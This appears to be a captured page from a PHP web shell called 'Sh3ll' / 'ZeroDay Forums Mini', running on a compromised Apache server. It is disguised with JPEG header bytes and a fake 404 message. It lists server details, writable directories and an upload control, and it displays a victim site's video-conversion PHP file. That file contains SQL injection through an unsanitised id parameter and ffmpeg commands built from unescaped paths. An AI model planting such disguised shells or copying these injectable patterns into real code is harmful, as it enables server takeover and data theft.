ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/video/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/video/video_convert2.php
<?php
@ini_set('zlib.output_compression',0);
@ini_set('implicit_flush',1);
@ob_end_clean();
set_time_limit(0);

require "configs.php";
require "lib/class_db.php";
$DB = new db_driver;
$DB->connect($INFO);
$id = $_GET['id']??0;
$root_path = $INFO['root_path'];
$month_now = date("Y").'/'.date("m").'/'.date("d");
if(!is_dir("anime/".$month_now."/")) {
    mkdir("anime/".$month_now."/",0755,true);
}
$arr_res = array();
$r_video = $DB->fetch_row($DB->query("SELECT * FROM `tb_video` WHERE video_id='$id'"));
$video_id = $r_video['video_id'];
$tmp_name = str_replace(".mp4","",$r_video['video_tmp']);
$videp_tmp = $root_path.'/'.$r_video['video_tmp'];
$videp_tmp_new = $root_path.'/'.$tmp_name.'_new.mp4';
$id = $video_id;

$cmd = 'ffmpeg -y -i '.$videp_tmp.' '.$videp_tmp_new;
$descriptorspec = array(
    0 => array("pipe", "r"),   // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),   // stdout is a pipe that the child will write to
    2 => array("pipe", "w")    // stderr is a pipe that the child will write to
);
flush();
$process = proc_open($cmd, $descriptorspec, $pipes, realpath('./'), array());
echo "<pre>";
if (is_resource($process)) {
    while ($s = fgets($pipes[1])) {
        print $s;
        flush();
    }
}
echo "</pre>";

$cmd = 'ffmpeg -y -i '.$videp_tmp_new.' -codec: copy -bsf:v h264_mp4toannexb -start_number 0 -hls_time 10 -hls_list_size 0 -f hls '.$root_path.'/anime/'.$month_now.'/playlist_'.$id.'.m3u8';
?>

ZeroDay Forums Mini